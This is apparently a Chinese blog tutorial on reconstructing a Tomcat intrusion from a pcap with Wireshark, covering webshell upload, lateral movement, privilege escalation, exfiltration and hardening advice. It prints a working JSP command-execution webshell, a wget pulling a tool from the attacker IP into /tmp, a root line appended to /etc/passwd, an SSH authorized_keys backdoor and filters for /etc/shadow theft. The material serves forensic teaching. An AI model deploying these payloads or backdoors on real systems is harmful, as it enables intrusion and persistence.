别再死记硬背了!用Wireshark实战演练:如何像侦探一样分析一次完整的Tomcat入侵事件
2026/4/6 14:11:32 网站建设 项目流程
从流量包到攻击链用Wireshark还原Tomcat入侵全貌当服务器突然出现异常行为时大多数运维人员的第一反应往往是查看日志。但面对海量的网络流量数据如何快速定位攻击入口点这就像在犯罪现场寻找指纹——需要正确的工具和系统的分析方法。本文将带你亲历一次真实的Tomcat服务器入侵事件通过Wireshark这个数字显微镜逐步拆解攻击者的每一步操作。1. 初识战场攻击流量特征捕捉打开那个3.7GB的pcap文件时Wireshark显示有超过200万个数据包。专业分析师不会盲目浏览每个包而是先做协议分布统计# 在Wireshark控制台查看协议分层统计 tshark -r attack.pcap -qz io,phs统计显示80%流量集中在HTTP协议这立即将我们的注意力引向Web服务层。进一步使用端点分析Statistics → Endpoints列出所有通信IP发现202.1.1.129这个地址与服务器有异常密集的交互其流量特征表现为高频POST请求平均每分钟15次请求路径包含/manager/html等敏感目录User-Agent显示为Java/1.8但时间戳异常集中在凌晨时段关键过滤技巧# 定位可疑IP的所有HTTP请求 ip.src202.1.1.129 http.request # 查找可能的上传行为 http.request.methodPOST http contains upload2. 攻击入口定位Webshell上传分析在过滤出的POST请求中一个特殊的时间点引起了注意——2023-05-18 02:17:33的请求包含文件上传行为。通过Wireshark的导出HTTP对象功能我们提取到了一个名为config.jsp的文件%page importjava.util.*,java.io.*% % if(request.getParameter(cmd)!null){ Process p Runtime.getRuntime().exec(request.getParameter(cmd)); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while(disr!null){ out.println(disr); disrdis.readLine(); } } %这是典型的JSP Webshell攻击者通过Tomcat管理接口漏洞CVE-2017-12615实现了任意文件上传。通过Follow TCP Stream功能还原完整会话发现攻击者测试了命令执行POST /config.jsp HTTP/1.1 Host: 202.1.1.66 cmdwhoami服务器返回了tomcat证实了Webshell的有效性。此时攻击链的第一个关键节点已经确认攻击向量Tomcat管理接口弱口令爆破漏洞利用PUT方法任意文件上传持久化手段JSP Webshell部署3. 横向移动内网渗透痕迹追踪攻击者获取Webshell后并未立即进行破坏而是开始了内网探测。通过以下过滤条件发现横向移动迹象# 查找内网扫描行为 ip.src202.1.1.129 tcp.flags.syn1 tcp.flags.ack0 # 检测可能的凭证窃取 http contains etc/shadow在TCP流编号174处攻击者执行了多条探测命令命令目的响应ifconfig查看网络配置显示eth0接口IP 192.168.4.23arp -a发现内网主机列出3台活跃主机nmap -sP 192.168.4.0/24存活主机扫描发现192.168.4.45运行MySQL特别值得注意的是攻击者通过Webshell下载了内网扫描工具wget http://202.1.1.129:8000/nmap -O /tmp/.nmap chmod x /tmp/.nmap4. 权限提升Root持久化操作攻击者在获取tomcat用户权限后通过以下步骤实现了提权内核漏洞检测uname -a cat /etc/redhat-release确认系统为CentOS 7.4内核版本3.10.0-693脏牛漏洞利用 从流量中提取到攻击者上传了预编译的exphttp contains gcc frame contains dirtycow密码哈希篡改 在TCP流536发现攻击者直接修改了/etc/passwdecho root:$6$KHysqjWM... /etc/passwd使用Hashcat破解后确认密码被改为123456关键取证点攻击者留下了SSH后门# 在流量包中发现的恶意SSH配置 echo ssh-rsa AAAAB3NzaC... /root/.ssh/authorized_keys5. 数据外传加密通道分析攻击者最终通过加密通道外传数据这部分的流量特征表现为固定间隔每5分钟的HTTPS连接数据包长度高度一致1432字节目标IP 202.1.1.129的4444端口使用Wireshark的SSL密钥日志功能需提前配置解密后可见数据被压缩为ZIP格式传输# 解密后的数据重组脚本 from scapy.all import * import zlib packets rdpcap(exfil.pcap) payload b.join(p[Raw].load for p in packets if Raw in p) decompressed zlib.decompress(payload[4:])恢复出的文件包含数据库连接字符串和客户敏感信息证实发生了数据泄露。6. 防御建议从事件中学习基于此次事件建议企业实施以下防护措施Tomcat加固方案禁用PUT/DELETE方法!-- conf/web.xml -- security-constraint web-resource-collection url-pattern/*/url-pattern http-method-omissionGET/http-method-omission /web-resource-collection /security-constraint设置强密码策略网络层防护部署WAF规则拦截可疑User-Agentif ($http_user_agent ~* (java|python|curl|wget)) { return 403; }限制管理接口访问IP检测与响应建立基线监控如检测/tmp目录异常文件部署EDR解决方案捕获进程行为在真实环境中攻击者往往会在系统中潜伏数周。通过本文的流量分析方法你可以像法医专家一样从网络数据包中还原出完整的攻击时间线。记住每个异常连接背后都可能隐藏着入侵的关键证据。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询